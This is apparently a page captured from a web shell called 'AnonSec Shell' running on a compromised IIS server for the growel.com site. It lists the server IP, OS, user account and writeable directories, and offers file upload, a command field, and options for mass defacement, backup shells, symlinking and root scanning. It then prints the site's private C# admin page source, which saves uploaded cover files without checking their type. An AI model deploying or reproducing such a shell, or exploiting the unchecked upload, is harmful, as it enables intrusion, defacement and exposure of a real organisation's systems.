. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin///EditPage.aspx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace GrowelWeb.GrowelAdmin
{
    public partial class EditPage : System.Web.UI.Page
    {
        public string page = "";
        public string cover = "";
        public string url = "";
        DataSet ds;
        protected void Page_Load(object sender, EventArgs e)
        {
            try
            {
                AdminService adminService = new AdminService();
                page = Request.QueryString["page"].ToString();
                ds = adminService.GetPageDetails(page);
                if (!IsPostBack)
                {
                    BindSections();
                    BindPage();
                }

            }
            catch (Exception ex)
            {

            }
        }


        public void BindPage()
        {

            this.txtpagename.Text = ds.Tables[0].Rows[0]["page"].ToString();
            this.txtdisplayname.Text = ds.Tables[0].Rows[0]["page_displaytitle"].ToString();
            this.txttitle.Text = ds.Tables[0].Rows[0]["page_title"].ToString();
            this.content.InnerHtml = ds.Tables[0].Rows[0]["page_content"].ToString();
            this.ddlsection.SelectedItem.Value = ds.Tables[0].Rows[0]["section"].ToString();
            this.txtmetatitle.Text = ds.Tables[0].Rows[0]["meta_title"].ToString();
            this.txtmetakeywords.Text = ds.Tables[0].Rows[0]["meta_keywords"].ToString();
            this.txtmetadesc.Text = ds.Tables[0].Rows[0]["meta_description"].ToString();
            cover = ds.Tables[0].Rows[0]["cover"].ToString();
            if (cover != "")
            {
                url = "../images/covers/" + cover;
            }
            else
            {
                url = "./images/noimage.jpg";
            }
        }


        public void BindSections()
        {
            AdminService adminService = new AdminService();

            this.ddlsection.DataSource = adminService.GetSections().Tables[0].DefaultView;
            this.ddlsection.DataValueField = "Section";
            this.ddlsection.DataTextField = "Section_Title";
            this.ddlsection.DataBind();
        }

        protected void btnsubmit_Click(object sender, EventArgs e)
        {

            clsCommon clscommon = new clsCommon();
            string strName = clscommon.ProperData(this.txttitle.Text);

            if (this.imgcover.HasFile)
            {
                FileInfo f = new FileInfo(this.imgcover.PostedFile.FileName.ToString());
                cover = strName + f.Extension;
                this.imgcover.PostedFile.SaveAs(Server.MapPath("..") + @"\images\covers\" + cover);
                //Response.Write(cover);
            }
            else
            {
                this.status.InnerHtml = "No Cover";
                cover = ds.Tables[0].Rows[0]["cover"].ToString();
                //Response.Write(cover);
            }

            AdminService adminService = new AdminService();

            adminService.EditPage(page, this.txtdisplayname.Text, this.txttitle.Text, this.ddlsection.SelectedValue.ToString(), this.content.InnerText, cover, true, this.txtmetatitle.Text, this.txtmetakeywords.Text, this.txtmetadesc.Text);
            this.status.Visible = true;
            this.status.InnerHtml = "Page Details Updated Successfully";
            ds = adminService.GetPageDetails(page);
            BindPage();
        }

        protected void lnkremovecover_Click(object sender, EventArgs e)
        {

            AdminService adminService = new AdminService();

            adminService.RemoveCover(page);
            this.status.Visible = true;
            this.status.InnerHtml = "Page Cover Removed successfully";
            ds = adminService.GetPageDetails(page);
            BindPage();
        }
    }
}

Anon7 - 2022
AnonSec Team